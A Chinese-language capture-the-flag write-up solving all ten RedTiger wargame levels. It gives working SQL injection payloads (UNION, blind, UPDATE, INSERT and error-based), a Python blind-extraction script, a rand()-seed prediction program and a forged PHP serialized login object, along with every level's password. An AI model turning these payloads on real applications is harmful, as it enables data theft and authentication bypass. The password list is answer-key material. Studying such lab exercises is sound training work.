RedTiger 是一个纯 Web 安全的 wargame,共 10 关,全是 SQL 注入(最后一关是 PHP 反序列化),从简单到复杂。
解法记录如下。
Level 1 — Simple SQL-Injection
目标:获取 Hornoxe 用户的密码
表名:level1_users
页面 GET 参数 ?cat=N 存在数字型注入,原始 SQL 类似:
SELECT col1, col2, col3, col4 FROM some_table WHERE cat=1这里 cat 参数查的是分类表,和登录无关。登录查询针对 level1_users 表。回显第 3、4 列。UNION 注入枚举 4 列即可:
?cat=1 UNION SELECT 1,2,username,password FROM level1_users拿到 Hornoxe 的密码:thatwaseasy
登录后拿到 flag 和 Level 2 密码。
[credential redacted]
Level 2 密码:passwords_will_change_over_time_let_us_do_a_shitty_rhyme
Level 2 — Simple login-bypass
目标:登录绕过
用 Level 1 密码通过 Cookie level2login 认证后,页面显示登录表单。
SQL 类似(表名推测,页面未给出):
SELECT * FROM users WHERE username='$username' AND password='$password'直接在 password 字段用 ' OR '1'='1 绕过条件验证。
[credential redacted]
Level 3 密码:feed_the_cat_who_eats_your_bread
Level 3 — Get an error
目标:获取 Admin 的密码
表名:level3_users
页面用 usr 参数查询用户详情。该参数经过 urlcrypt.inc 的解密函数处理:
function encrypt($str) { $cryptedstr = ""; srand(3284724); for ($i = 0; $i < strlen($str); $i++) { $temp = ord(substr($str, $i, 1)) ^ rand(0, 255); while (strlen($temp) < 3) { $temp = "0".$temp; } $cryptedstr .= $temp.""; } return base64_encode($cryptedstr);}
function decrypt($str) { srand(3284724); if (preg_match('%^[a-zA-Z0-9/+]*={0,2}$%', $str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i = 0; $i < strlen($str); $i += 3) { $array[$i/3] = substr($str, $i, 3); } foreach ($array as $s) { $a = $s ^ rand(0, 255); $decStr .= chr($a); } return $decStr; } return false; } return false;}?>srand(3284724) 固定种子,rand(0, 255) 序列可预测。
两个已知加密值:
MDQyMjExMDE0MTgyMTQw-> decrypt ->AdminMDYzMjIzMDA2MTU2MTQxMjU0-> decrypt ->TheCow
通过 glibc srand(3284724) + rand() + PHP RAND_RANGE 宏可以算出 rand(0,255) 序列(前几个:107, 183, 99, 223, 226, 137…)。用 C 程序生成 200 个 key:
#include <stdlib.h>#include <stdio.h>int main() { srand(3284724); for (int i = 0; i < 200; i++) printf("%d,", (int)(256.0 * rand() / (RAND_MAX + 1.0)));}加密 SQL 注入 payload 后用 usr 参数传入。表有 7 列,列映射为:
- Username=2, First name=6, Name=7, ICQ=5, Email=4
- id=1, password=7
Payload:
' union select '1',group_concat(password),'3','4','5','6','7' from level3_users#加密后访问拿到 Admin 密码。列映射来自第三方 writeup,实际列顺序可能有变动。
[credential redacted]
Level 4 密码:put_the_kitten_on_your_head
Level 4 — Blind Injection
目标:获取表 level4_secret 中 keyword 列的第一个值
URL 参数:?id=N
页面提示:
LIKE被禁用- 唯一需要盲注的关卡
?id=1 返回 Query returned 1 rows.,?id=0 返回 0 rows。
列数:2 列(?id=1 UNION SELECT 1,2 返回 2 rows)
盲注脚本逐位提取 keyword:
import requests
url = 'http://redtiger.labs.overthewire.org/level4.php'cookies = {'level4login': 'put_the_kitten_on_your_head'}keyword = ''for i in range(1, 22): bit = '' # 判断 bit 长度 payload = {'id': f'if((select length(bin(ascii(substr(keyword,{i},1)))) from level4_secret limit 1)=7,1,0)'} r = requests.get(url, cookies=cookies, params=payload) bit_len = 7 if 'Query returned 1 rows' in r.text else 6 for j in range(1, bit_len+1): payload = {'id': f'if((select substr(bin(ascii(substr(keyword,{i},1))),{j},1) from level4_secret limit 1)=0,1,0)'} r = requests.get(url, cookies=cookies, params=payload) bit += '0' if 'Query returned 1 rows' in r.text else '1' keyword += chr(int(bit, 2)) print(keyword) # <credential-redacted>[credential redacted]
Level 5 密码:this_hack_it's_old
Level 5 — Advanced login-bypass
目标:绕过登录
禁用:substring, substr, (, ), mid
提示:密码是 MD5 加密的
注入点在登录表单。表有 2 列。用 UNION 注入自定义用户和已知 MD5 值:
' union select '1','c81e728d9d4c2f636f067f89cc14862c' #c81e728d9d4c2f636f067f89cc14862c 是 2 的 MD5。服务端验证流程是:查询用户名和 MD5 密码,然后将输入密码 MD5 后比较。
[credential redacted]
Level 6 密码:the_stone_is_cold
Level 6 — SQL-Injection
目标:获取 level6_users 表中 status=1 的第一个用户
参数:?user=N
这是一个 UNION 注入。页面先查询用户 ID,再用返回的数据构造第二个查询。5 列。
Payload:
' union select 1,id,3,password,5 from level6_users where status=1 #返回:
- Username: 3
- Email: m0nsterk1ll
密码 m0nsterk1ll 登录成功。
[credential redacted]
Level 7 密码:shitcoins_are_hold
Level 7 — SQL-Injection
目标:获取发布 google 新闻的用户名(level7_news 表,autor 列)
限制:禁用 substr, substring, ascii, mid, like, --(no comments)
原始查询涉及 JOIN,错误信息泄露了结构:
SELECT news.*, text.text, text.titleFROM level7_news news, level7_texts textWHERE text.id = news.id AND (text.text LIKE '%$input%' OR text.title LIKE '%$input%')$input 在 SQL 中出现两次,注释符被禁用,故用 MySQL 的 " 做 quote-balancing:
payload 的 "(第 1 列)在 MySQL 默认模式下开启一个双引号字符串,吃掉第二次注入点及之间的所有内容(包括 OR text.title LIKE 分支),直到第二次 union select 后的 " 才闭合。('(第 4 列)和模板残留的 %' 拼接成 ('%'),是一个合法的括起来的字符串表达式。最终 UNION SELECT 返回 4 列。
id=3 是 google 新闻在表中的条目 ID(通过枚举 text.title 确定)。
goo%') union select ",2,(select group_concat(autor) from level7_news where id=3),('返回 autor:TestUserforg00gle
[credential redacted]
Level 8 密码:or_so_i'm_told
Level 8 — SQL-Injection
目标:获取 admin 的密码
用户信息编辑页面,注入点在 email 字段(没有转义)。
SQL 为 UPDATE 语句:
UPDATE {table} SET name='$input', email='$input', icq='$input', age='$input' WHERE id=1在 email 字段注入,将 password 写入 name 字段利用回显读取。子查询从待更新的用户表(level8_users)中读取管理员密码。MySQL 不允许 UPDATE 的子查询直接引用目标表,需用 derived table 绕一层:
', name=(select password from (select password from level8_users limit 1) as t), email='a执行后页面显示 Name 字段变成密码值。
19JPYS1jdgvkj
[credential redacted]
Level 9 密码:network_pancakes_milk_and_wine
Level 9 — SQL-Injection
目标:获取任意用户的用户名和密码
表名:level9_users(数据源表)
这是一个 INSERT 注入。页面有提交表单(author, title, text)。注意涉及两个表:INSERT 写入一个内容表(如 level9_news),子查询从 level9_users 读取目标数据。
= 被过滤,但可以通过闭合括号注入:
'),((select username from level9_users),(select password from level9_users),'1或者用 updatexml() 做 error-based 注入:
a' or updatexml(2,concat(0x2e,(select username from level9_users)),0) or '结果:
- Username:
TheBlueFlower - Password:
this_oassword_is_SEC//Ure.promised!
[credential redacted]
Level 10 密码:whatever_just_a_fresh_password
Level 10
目标:以 TheMaster 身份登录
页面有一个隐藏的 login 字段,值是 base64 编码的 PHP 序列化数据:
<b>Welcome to Level 10</b><br /><br />Target: Bypass the login. Login as TheMaster<br /><br /><br /><br /><form method="post"> <input type="hidden" name="login" value="YToyOntzOjg6InVzZXJuYW1lIjtzOjY6Ik1vbmtleSI7czo4OiJwYXNzd29yZCI7czoxMjoiMDgxNXBhc3N3b3JkIjt9" /> <input type="submit" value="Login" name="dologin" /></form><br /><br /><br />解码后:
a:2:{s:8:"username";s:6:"Monkey";s:8:"password";s:12:"0815password";}PHP unserialize() 反序列化后做 == 比较,后端大致逻辑:
$data = unserialize(base64_decode($_POST['login']));if ($data->username == 'TheMaster' && $data->password == $db_password) { ... }利用 PHP 类型转换漏洞:当 bool 和 string 用 == 比较时,true == "任何字符串" 恒为 true,password 比较永远通过。
构造 Serialize:
a:2:{s:8:"username";s:9:"TheMaster";s:8:"password";b:1;}
b:1; → boolean truebase64:
YToyOntzOjg6InVzZXJuYW1lIjtzOjk6IlRoZU1hc3RlciI7czo4OiJwYXNzd29yZCI7YjoxO30=The password for the hall of fame is: *****************************
[credential redacted]